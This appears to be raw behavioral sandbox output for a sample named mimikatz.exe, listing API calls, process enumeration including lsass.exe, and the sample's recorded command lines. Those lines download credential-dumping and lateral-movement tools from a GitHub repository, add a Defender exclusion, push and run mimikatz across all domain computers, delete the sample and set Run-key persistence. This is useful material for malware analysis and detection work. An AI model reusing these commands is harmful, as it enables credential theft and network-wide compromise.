 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0281c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0281d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0281e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0281f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04930000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04931000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04932000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04933000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04934000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
description mimikatz.exe tried to sleep 173 seconds, actually delayed analysis time by 173 seconds
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline cmd /c powershell Invoke-WebRequest -Uri https://github.com/Lean789/rueht/blob/main/Bootxr.exe -Outfile C:\WinXRAR\Bootxr.exe
cmdline cmd /c powershell Invoke-WebRequest -Uri https://github.com/Lean789/rueht/blob/main/set_empty_pw.py -Outfile C:\WinXRAR\set_empty_pw.py
cmdline powershell Invoke-WebRequest -Uri https://github.com/Lean789/rueht/blob/main/Mizedo.exe -Outfile C:\WinXRAR\Mizedo.exe
cmdline powershell Invoke-WebRequest -Uri https://github.com/Lean789/rueht/blob/main/wmiexec.py -Outfile C:\WinXRAR\wmiexec.py
cmdline powershell Invoke-WebRequest -Uri https://github.com/Lean789/rueht/blob/main/Dpose.exe -Outfile C:\WinXRAR\Dpose.exe
cmdline powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\WinXRAR\"
cmdline cmd /c powershell Invoke-WebRequest -Uri https://github.com/Lean789/rueht/blob/main/secretsdump.py -Outfile C:\WinXRAR\secretsdump.py
cmdline cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\test22\AppData\Local\Temp\mimikatz.exe"
cmdline powershell Invoke-WebRequest -Uri https://github.com/Lean789/rueht/blob/main/set_empty_pw.py -Outfile C:\WinXRAR\set_empty_pw.py
cmdline powershell -Command " $computers = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name Invoke-Command -ComputerName $computers -ScriptBlock { cmd /c 'if not exist C:\WinXRAR mkdir C:\WinXRAR && powershell Invoke-WebRequest -Uri https://github.com/Lean789/rueht/blob/main/mimikatz.exe -Outfile C:\WinXRAR\mimikatz.exe && C:\WinXRAR\mimikatz.exe' } "
cmdline cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\WinXRAR\"
cmdline cmd /c powershell Invoke-WebRequest -Uri https://github.com/Lean789/rueht/blob/main/Mizedo.exe -Outfile C:\WinXRAR\Mizedo.exe
cmdline powershell Invoke-WebRequest -Uri https://github.com/Lean789/rueht/blob/main/secretsdump.py -Outfile C:\WinXRAR\secretsdump.py
cmdline cmd /c powershell Invoke-WebRequest -Uri https://github.com/Lean789/rueht/blob/main/wmiexec.py -Outfile C:\WinXRAR\wmiexec.py
cmdline cmd /c powershell Invoke-WebRequest -Uri https://github.com/Lean789/rueht/blob/main/Dpose.exe -Outfile C:\WinXRAR\Dpose.exe
cmdline powershell Invoke-WebRequest -Uri https://github.com/Lean789/rueht/blob/main/Bootxr.exe -Outfile C:\WinXRAR\Bootxr.exe
file C:\Users\test22\AppData\Local\Temp\mimikatz.exe
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2704
thread_handle: 0x000000e0
process_identifier: 2700
current_directory:
filepath:
track: 1
command_line: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\test22\AppData\Local\Temp\mimikatz.exe"
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 0
process_handle: 0x000000e8
1 1 0
Time & API Arguments Status Return Repeated

Process32NextW

 snapshot_handle: 0x00000084
process_name: smss.exe
process_identifier: 232
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: csrss.exe
process_identifier: 308
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: wininit.exe
process_identifier: 344
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: csrss.exe
process_identifier: 356
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: winlogon.exe
process_identifier: 392
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: services.exe
process_identifier: 436
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: lsass.exe
process_identifier: 452
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: svchost.exe
process_identifier: 560
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: svchost.exe
process_identifier: 636
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: svchost.exe
process_identifier: 716
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: svchost.exe
process_identifier: 780
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: svchost.exe
process_identifier: 824
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: audiodg.exe
process_identifier: 896
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: svchost.exe
process_identifier: 984
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: svchost.exe
process_identifier: 340
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: spoolsv.exe
process_identifier: 1060
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: taskhost.exe
process_identifier: 1112
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: svchost.exe
process_identifier: 1120
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: dwm.exe
process_identifier: 1192
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: explorer.exe
process_identifier: 1236
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: svchost.exe
process_identifier: 1744
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: pw.exe
process_identifier: 1888
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: SearchIndexer.exe
process_identifier: 1652
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: mobsync.exe
process_identifier: 1668
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: pw.exe
process_identifier: 1944
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: wsqmcons.exe
process_identifier: 880
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: taskhost.exe
process_identifier: 1836
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: sdclt.exe
process_identifier: 1208
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: cmd.exe
process_identifier: 1616
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: SearchProtocolHost.exe
process_identifier: 1096
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: conhost.exe
process_identifier: 1804
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: SearchFilterHost.exe
process_identifier: 940
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: mimikatz.exe
process_identifier: 1712
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: pw.exe
process_identifier: 1000
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: schtasks.exe
process_identifier: 2104
1 1 0

Process32NextW

 snapshot_handle: 0x00000084
process_name: conhost.exe
process_identifier: 2112
1 1 0

Process32NextW

 snapshot_handle: 0x000000e4
process_name: cmd.exe
process_identifier: 2140
1 1 0

Process32NextW

 snapshot_handle: 0x000000e4
process_name: conhost.exe
process_identifier: 2176
1 1 0

Process32NextW

 snapshot_handle: 0x000000e4
process_name: powershell.exe
process_identifier: 2200
1 1 0

Process32NextW

 snapshot_handle: 0x000000f4
process_name: cmd.exe
process_identifier: 2332
1 1 0

Process32NextW

 snapshot_handle: 0x000000f4
process_name: conhost.exe
process_identifier: 2368
1 1 0

Process32NextW

 snapshot_handle: 0x000000f4
process_name: powershell.exe
process_identifier: 2392
1 1 0

Process32NextW

 snapshot_handle: 0x000000ec
process_name: cmd.exe
process_identifier: 2476
1 1 0

Process32NextW

 snapshot_handle: 0x000000ec
process_name: conhost.exe
process_identifier: 2512
1 1 0

Process32NextW

 snapshot_handle: 0x000000ec
process_name: powershell.exe
process_identifier: 2536
1 1 0

Process32NextW

 snapshot_handle: 0x000000e0
process_name: powershell.exe
process_identifier: 2732
1 1 0

Process32NextW

 snapshot_handle: 0x000000e0
process_name: conhost.exe
process_identifier: 2840
1 1 0

Process32NextW

 snapshot_handle: 0x000000e0
process_name: cmd.exe
process_identifier: 2920
1 1 0

Process32NextW

 snapshot_handle: 0x000000e0
process_name: mscorsvw.exe
process_identifier: 2972
1 1 0

Process32NextW

 snapshot_handle: 0x000000e0
process_name: svchost.exe
process_identifier: 3024
1 1 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

Process32NextW

 snapshot_handle: 0x00000084
process_name: conhost.exe
process_identifier: 2112
0 0

Process32NextW

 snapshot_handle: 0x0000008c
process_name: conhost.exe
process_identifier: 2112
0 0

Process32NextW

 snapshot_handle: 0x000000e4
process_name: powershell.exe
process_identifier: 2200
0 0

Process32NextW

 snapshot_handle: 0x000000f4
process_name: powershell.exe
process_identifier: 2392
0 0

Process32NextW

 snapshot_handle: 0x000000ec
process_name: powershell.exe
process_identifier: 2536
0 0

Process32NextW

 snapshot_handle: 0x000000e0
process_name: is32bit.exe
process_identifier: 2092
0 0

Process32NextW

 snapshot_handle: 0x000000e8
process_name: powershell.exe
process_identifier: 2404
0 0

Process32NextW

 snapshot_handle: 0x000000e0
process_name: powershell.exe
process_identifier: 2656
0 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: powershell.exe
process_identifier: 2988
0 0

Process32NextW

 snapshot_handle: 0x000000f4
process_name: sppsvc.exe
process_identifier: 2684
0 0

Process32NextW

 snapshot_handle: 0x000000f4
process_name: sppsvc.exe
process_identifier: 2684
0 0

Process32NextW

 snapshot_handle: 0x000000f4
process_name: sppsvc.exe
process_identifier: 2684
0 0

Process32NextW

 snapshot_handle: 0x000000f4
process_name: sppsvc.exe
process_identifier: 2684
0 0

Process32NextW

 snapshot_handle: 0x000000f4
process_name: sppsvc.exe
process_identifier: 2684
0 0

Process32NextW

 snapshot_handle: 0x000000f4
process_name: sppsvc.exe
process_identifier: 2684
0 0

Process32NextW

 snapshot_handle: 0x000000f4
process_name: pw.exe
process_identifier: 2452
0 0

Process32NextW

 snapshot_handle: 0x000000f4
process_name: pw.exe
process_identifier: 2452
0 0

Process32NextW

 snapshot_handle: 0x000000f4
process_name: pw.exe
process_identifier: 2452
0 0

Process32NextW

 snapshot_handle: 0x000000f4
process_name: pw.exe
process_identifier: 2452
0 0

Process32NextW

 snapshot_handle: 0x000000f4
process_name: pw.exe
process_identifier: 2452
0 0

Process32NextW

 snapshot_handle: 0x000000f4
process_name: pw.exe
process_identifier: 2452
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: pw.exe
process_identifier: 2452
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: pw.exe
process_identifier: 2452
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: pw.exe
process_identifier: 2452
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: pw.exe
process_identifier: 2452
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: sppsvc.exe
process_identifier: 2684
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: sppsvc.exe
process_identifier: 2684
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: sppsvc.exe
process_identifier: 2684
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: sppsvc.exe
process_identifier: 2684
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: conhost.exe
process_identifier: 3068
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: pw.exe
process_identifier: 948
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: pw.exe
process_identifier: 948
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: pw.exe
process_identifier: 948
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: pw.exe
process_identifier: 948
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: pw.exe
process_identifier: 948
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: pw.exe
process_identifier: 948
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: pw.exe
process_identifier: 948
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: pw.exe
process_identifier: 948
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: pw.exe
process_identifier: 948
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: pw.exe
process_identifier: 948
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: sppsvc.exe
process_identifier: 2684
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: sppsvc.exe
process_identifier: 2684
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: sppsvc.exe
process_identifier: 2684
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: sppsvc.exe
process_identifier: 2684
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: pw.exe
process_identifier: 2376
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: pw.exe
process_identifier: 2376
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: pw.exe
process_identifier: 2376
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: pw.exe
process_identifier: 2376
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: pw.exe
process_identifier: 2376
0 0

Process32NextW

 snapshot_handle: 0x000000ac
process_name: pw.exe
process_identifier: 2376
0 0
cmdline powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\WinXRAR\"
cmdline cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\test22\AppData\Local\Temp\mimikatz.exe"
cmdline ping 1.1.1.1 -n 1 -w 3000
cmdline powershell -Command " $computers = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name Invoke-Command -ComputerName $computers -ScriptBlock { cmd /c 'if not exist C:\WinXRAR mkdir C:\WinXRAR && powershell Invoke-WebRequest -Uri https://github.com/Lean789/rueht/blob/main/mimikatz.exe -Outfile C:\WinXRAR\mimikatz.exe && C:\WinXRAR\mimikatz.exe' } "
cmdline cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\WinXRAR\"
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\G5UTDSRESW reg_value "C:\Users\test22\AppData\Local\Temp\mimikatz.exe"
option -noninteractive value Prevents creating an interactive prompt for the user
option -noninteractive value Prevents creating an interactive prompt for the user